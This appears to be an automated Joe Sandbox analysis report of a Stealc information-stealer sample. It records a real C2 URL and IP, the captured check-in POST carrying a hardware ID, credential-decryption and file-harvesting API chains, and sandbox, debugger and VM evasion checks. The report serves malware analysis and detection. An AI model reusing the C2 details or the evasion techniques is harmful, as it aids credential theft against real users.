Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1525381
MD5:	93db12453ac29ad390cbd66f4b6dfd52
SHA1:	14dc9072be488c339f9c2bbc3711d9793bb7218b
SHA256:	afd87eeb51cb2bd9ed4b52f0151ddf1f540d6c9fffb433eab0063c7edf1d093f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6756 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 93DB12453AC29AD390CBD66F4B6DFD52)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1746371608.0000000005000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6756	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6756	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.630000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T04:41:07.170847+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.630000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/ws	Virustotal: Detection: 16%			Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpO	Virustotal: Detection: 16%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0063C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00637240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00637240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00639AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00639AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00639B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00639B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00648EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00648EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00644910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00644910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0063DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0063E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00644570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00644570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0063ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0063BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0063DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00643EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00643EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0063F6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKFHIEGDHJKECAAKKEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 34 34 41 32 33 39 43 45 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="hwid"B944A239CE222838420810------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="build"doma------BKKFHIEGDHJKECAAKKEB--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00634880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00634880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKFHIEGDHJKECAAKKEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 34 34 41 32 33 39 43 45 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="hwid"B944A239CE222838420810------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="build"doma------BKKFHIEGDHJKECAAKKEB--

Source: file.exe, 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1787435060.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1787435060.0000000001473000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1787435060.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1787435060.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpO
Source: file.exe, 00000000.00000002.1787435060.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37t

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009838C9	0_2_009838C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AEF909	0_2_00AEF909
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009542AA	0_2_009542AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A06A7F	0_2_00A06A7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A033E8	0_2_00A033E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0096C3F8	0_2_0096C3F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00990B30	0_2_00990B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00910B7C	0_2_00910B7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FFD8E	0_2_009FFD8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A085CE	0_2_00A085CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00908ED1	0_2_00908ED1

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 006345C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: bgdhafsv ZLIB complexity 0.9946423668963951

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000003.1746371608.0000000005000000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00649600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00649600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00643720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00643720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\7YVTSJKY.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1846272 > 1048576

Source: file.exe

Static PE information: Raw size of bgdhafsv is bigger than: 0x100000 < 0x19ca00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.630000.0.unpack :EW;.rsrc :W;.idata :W; :EW;bgdhafsv:EW;xszuyfga:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;bgdhafsv:EW;xszuyfga:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00649860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00649860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cc866 should be: 0x1c4a27

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: bgdhafsv
Source: file.exe	Static PE information: section name: xszuyfga
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADD8E9 push 73CC9732h; mov dword ptr [esp], edi	0_2_00ADD923
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADD8E9 push 67787732h; mov dword ptr [esp], edx	0_2_00ADD954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0F8E8 push 0061FAD4h; mov dword ptr [esp], edx	0_2_00A0F8F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009838C9 push 26C3E101h; mov dword ptr [esp], ebx	0_2_009838D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009838C9 push 7D622260h; mov dword ptr [esp], edx	0_2_00983950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009838C9 push ecx; mov dword ptr [esp], esp	0_2_00983954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009838C9 push edx; mov dword ptr [esp], ecx	0_2_0098398D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0064B035 push ecx; ret	0_2_0064B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA38F2 push eax; mov dword ptr [esp], 7BD7FC97h	0_2_00AA392C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA38F2 push edx; mov dword ptr [esp], 7FBFC220h	0_2_00AA3958
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA38F2 push 76534052h; mov dword ptr [esp], ebp	0_2_00AA39A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9480C push 5CFD2E90h; mov dword ptr [esp], esi	0_2_00A94877
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A91017 push 60B77DDBh; mov dword ptr [esp], ebp	0_2_00A90F42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A91017 push ebp; mov dword ptr [esp], 7D6A1ABEh	0_2_00A910BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A91017 push 4403200Bh; mov dword ptr [esp], edi	0_2_00A910D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E3031 push ebp; mov dword ptr [esp], edx	0_2_008E308B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA41AB push ecx; mov dword ptr [esp], 7FBDB95Ch	0_2_00AA413D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A781A4 push eax; mov dword ptr [esp], 6D3A9306h	0_2_00A781E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A781A4 push edi; mov dword ptr [esp], ecx	0_2_00A78265
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A291A7 push edi; mov dword ptr [esp], 5E2ED3E8h	0_2_00A291E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB59B5 push 298F2091h; mov dword ptr [esp], ecx	0_2_00AB59BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD798D push 2A4F7AD5h; mov dword ptr [esp], ebx	0_2_00AD7DB6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE418C push eax; mov dword ptr [esp], 7E73E567h	0_2_00AE41AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE418C push 14894D19h; mov dword ptr [esp], ebp	0_2_00AE424B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A74992 push ebx; mov dword ptr [esp], ebp	0_2_00A749DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABC1F4 push 541CEBF1h; mov dword ptr [esp], eax	0_2_00ABC20C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABC1F4 push eax; mov dword ptr [esp], ecx	0_2_00ABC213
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABC1F4 push 6B1CD144h; mov dword ptr [esp], ebp	0_2_00ABC226
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC91B8 push edi; mov dword ptr [esp], esp	0_2_00CC91C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC91B8 push edx; mov dword ptr [esp], ecx	0_2_00CC91D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC91B8 push 26F3C893h; mov dword ptr [esp], edx	0_2_00CC91E7

Source: file.exe

Static PE information: section name: bgdhafsv entropy: 7.952703648524724

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00649860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13444

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E476 second address: A0E47B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DAA5 second address: A0DAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DAAF second address: A0DAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DC2F second address: A0DC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB9C8FCBE96h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DC3A second address: A0DC4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 jo 00007FB9C8FCDCAEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DDE6 second address: A0DDEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10B66 second address: A10BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB9C8FCDCA6h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FB9C8FCDCB0h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 jnl 00007FB9C8FCDCB6h 0x0000001f jmp 00007FB9C8FCDCB0h 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 jmp 00007FB9C8FCDCB1h 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 jmp 00007FB9C8FCDCB4h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10C2A second address: A10C48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8FCBE9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FB9C8FCBE98h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10C48 second address: A10C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
